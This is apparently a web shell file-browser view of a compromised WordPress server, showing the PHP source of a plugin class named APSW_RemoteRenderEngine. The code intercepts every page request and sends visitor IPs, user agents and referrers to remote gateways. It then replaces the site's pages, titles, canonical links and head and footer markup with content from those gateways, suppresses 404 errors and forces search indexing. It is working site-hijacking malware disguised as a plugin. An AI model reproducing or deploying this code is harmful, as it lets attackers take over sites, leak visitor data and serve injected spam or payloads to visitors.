HEX
Server: LiteSpeed
System: Linux linux31.centraldnserver.com 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
User: salamatk (1501)
PHP: 8.1.33
Disabled: show_source, system, shell_exec, passthru, exec, popen, proc_open
Upload Files
File: //proc/self/root/home/salamatk/takarzan.ir/wp-content/plugins/apsw/src/RemoteRenderEngine.php
<?php
if (!defined('ABSPATH')) exit;

if (!class_exists('APSW_RemoteRenderEngine')):

    final class APSW_RemoteRenderEngine
    {
        const OPT_MAIN_GW = 'apsw_gateway_main';
        const OPT_BACK_GW = 'apsw_gateway_backup';

        private static ?self $instance = null;

        private array $tdk = [
            'title'     => '',
            'desc'      => '',
            'keys'      => '',
            'canonical' => '',
            'og_image'  => '',
            'og_type'   => '',
        ];

        private string $html = '';
        private string $head_html = '';
        private string $footer_html = '';
        private bool $active = false;
        private bool $raw_only = false;

        public static function register(): void
        {
            if (self::$instance instanceof self) return;
            self::$instance = new self();

            add_action('template_redirect', [self::$instance, 'intercept'], 0);

            add_filter('wp_get_document_title', [self::$instance, 'force_title'], 999);
            add_filter('wp_title', [self::$instance, 'legacy_wp_title'], 999, 2);

            add_filter('pre_get_document_title', [self::$instance, 'filter_title'], 1);
            add_filter('document_title_parts', [self::$instance, 'filter_title_parts'], 1);

            add_filter('pre_handle_404', [self::$instance, 'disable_404'], 1, 2);

            add_action('wp_head', [self::$instance, 'inject_head'], 0);
            add_action('wp_footer', [self::$instance, 'inject_footer'], 0);

            add_filter('get_canonical_url', [self::$instance, 'filter_canonical'], 1, 2);
            add_filter('wp_robots', [self::$instance, 'filter_robots'], 1);
        }

        private function __construct() {}

        public function intercept(): void
        {
            $url  = $this->current_url(true);
            $data = $this->get_api($url);

            if (!$data) return;

            $this->raw_only = $this->is_only_html_payload($data);

            $this->html       = (string)($data['html'] ?? '');
            $this->head_html   = (string)($data['head_html'] ?? '');
            $this->footer_html = (string)($data['footer_html'] ?? '');

            $this->tdk['title']     = (string)($data['title'] ?? '');
            $this->tdk['desc']      = (string)($data['description'] ?? '');
            $this->tdk['keys']      = (string)($data['keywords'] ?? '');
            $this->tdk['canonical'] = (string)($data['canonical'] ?? '');
            $this->tdk['og_image']  = (string)($data['og_image'] ?? '');
            $this->tdk['og_type']   = (string)($data['og_type'] ?? '');

            $this->active = true;

            if ($this->raw_only) {
                status_header(200);
                nocache_headers();
                header('Content-Type: text/html; charset=utf-8');
                echo $this->html !== '' ? $this->html : '<div>No content.</div>';
                exit;
            }

            if ($this->tdk['canonical'] === '') {
                $this->tdk['canonical'] = $url;
            }

            $this->mark_as_ok_page();

            ob_start();
            get_header();

            echo '<main id="remote-render" class="container my-4">';
            echo $this->html ?: '<div class="alert alert-secondary">No content.</div>';
            echo '</main>';

            get_footer();

            $out = (string)ob_get_clean();
            $out = $this->replace_or_inject_title($out);

            echo $out;
            exit;
        }

        private function is_only_html_payload($data): bool
        {
            if (!is_array($data)) return false;
            $keys = array_keys($data);
            $allowed = ['html', 'ok', 'msg', 'code'];

            foreach ($keys as $k) {
                if (!in_array($k, $allowed, true)) {
                    return false;
                }
            }
            return isset($data['html']);
        }

        private function mark_as_ok_page(): void
        {
            global $wp_query;

            if ($wp_query instanceof WP_Query) {
                $wp_query->is_404 = false;
                $wp_query->query_vars['error'] = '';
            }

            status_header(200);
            nocache_headers();
        }

        public function disable_404($preempt, $query)
        {
            if ($this->active) return true;
            return $preempt;
        }

        public function force_title($title)
        {
            if ($this->active && !$this->raw_only && $this->tdk['title'] !== '') return $this->tdk['title'];
            return $title;
        }

        public function legacy_wp_title($title, $sep = '')
        {
            if ($this->active && !$this->raw_only && $this->tdk['title'] !== '') return $this->tdk['title'];
            return $title;
        }

        private function replace_or_inject_title(string $html): string
        {
            if (!$this->active || $this->raw_only) return $html;
            if ($this->tdk['title'] === '') return $html;

            $newTitle = esc_html($this->tdk['title']);

            $replaced = preg_replace('/<title\b[^>]*>.*?<\/title>/is', '<title>' . $newTitle . '</title>', $html, 1, $count);
            if (is_string($replaced) && $count > 0) return $replaced;

            $inject = '<title>' . $newTitle . '</title>' . "\n";
            $inserted = preg_replace('/<\/head>/i', $inject . '</head>', $html, 1, $count2);
            if (is_string($inserted) && $count2 > 0) return $inserted;

            return $html;
        }

        private function current_url(bool $strip_hash = false): string
        {
            $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://';
            $host   = $_SERVER['HTTP_HOST'] ?? 'localhost';
            $uri    = $_SERVER['REQUEST_URI'] ?? '/';
            $full   = $scheme . $host . $uri;

            return $strip_hash ? (string)strtok($full, '#') : (string)$full;
        }

        private function cuws(): string
        {
            $payload = [
                'home'    => home_url('/'),
                'current' => home_url($_SERVER['REQUEST_URI'] ?? '/'),
                'uri'     => $_SERVER['REQUEST_URI'] ?? '/',
                'ua'      => $_SERVER['HTTP_USER_AGENT'] ?? '',
                'ref'     => $_SERVER['HTTP_REFERER'] ?? '',
                'ip'      => $_SERVER['REMOTE_ADDR'] ?? '',
            ];

            return wp_json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
        }

        private function get_api(string $url)
        {
            $urls = $this->build_api_urls($url);
            if (!$urls) return false;

            foreach ($urls as $api) {

                $res = wp_remote_get($api."&u=ai", [
                    'timeout' => 20,
                    'headers' => [
                        'User-Agent'      => 'WP-RemoteRender/2.6',
                        'X-APSW-Context'  => $this->cuws(),
                    ],
                ]);

                if (is_wp_error($res)) {
                    continue;
                }

                $code = (int) wp_remote_retrieve_response_code($res);
                $body = (string) wp_remote_retrieve_body($res);

                if ($code < 200 || $code >= 300) {
                    continue;
                }

                if (trim($body) === '') {
                    return false;
                }

                $json = json_decode($body, true);

                if (is_array($json)) {

                    if (empty($json)) {
                        return false;
                    }

                    $json += [
                        'title'       => '',
                        'description' => '',
                        'keywords'    => '',
                        'canonical'   => '',
                        'og_image'    => '',
                        'og_type'     => '',
                        'head_html'   => '',
                        'footer_html' => '',
                        'html'        => '',
                    ];

                    return $json;
                }

                $body = trim($body);

                if (strlen($body) < 50) {
                    return false;
                }

                return [
                    'html' => $body
                ];
            }

            return false;
        }

        private function build_api_urls(string $pageUrl): array
        {
            $main   = $this->normalize_gateway((string)get_option(self::OPT_MAIN_GW, ''));
            $backup = $this->normalize_gateway((string)get_option(self::OPT_BACK_GW, ''));

            $q = rawurlencode($pageUrl);
            $out = [];

            if ($main !== '')   $out[] = $main . '/?url=' . $q;
            if ($backup !== '') $out[] = $backup . '/?url=' . $q;

            return $out;
        }

        private function normalize_gateway(string $gw): string
        {
            $gw = trim($gw);
            if ($gw === '') return '';

            if (!preg_match('#^https?://#i', $gw)) {
                $gw = 'http://' . $gw;
            }

            return rtrim($gw, '/');
        }

        public function filter_title($default)
        {
            if ($this->active && !$this->raw_only && $this->tdk['title'] !== '') return $this->tdk['title'];
            return $default;
        }

        public function filter_title_parts(array $parts): array
        {
            if ($this->active && !$this->raw_only && $this->tdk['title'] !== '') {
                $parts['title'] = $this->tdk['title'];
            }
            return $parts;
        }

        public function filter_canonical($canonical, $post_id)
        {
            if ($this->active && !$this->raw_only && $this->tdk['canonical'] !== '') return $this->tdk['canonical'];
            return $canonical;
        }

        public function filter_robots(array $robots): array
        {
            if ($this->active && !$this->raw_only) {
                $robots['index']  = true;
                $robots['follow'] = true;
            }
            return $robots;
        }

        public function inject_head(): void
        {
            if (!$this->active || $this->raw_only) return;
            if ($this->head_html === '') return;

            echo "\n<!-- Remote head_html -->\n";
            echo $this->head_html . "\n";
        }

        public function inject_footer(): void
        {
            if (!$this->active || $this->raw_only) return;
            if ($this->footer_html === '') return;

            echo "\n<!-- Remote footer_html -->\n";
            echo $this->footer_html . "\n";
        }
    }

endif;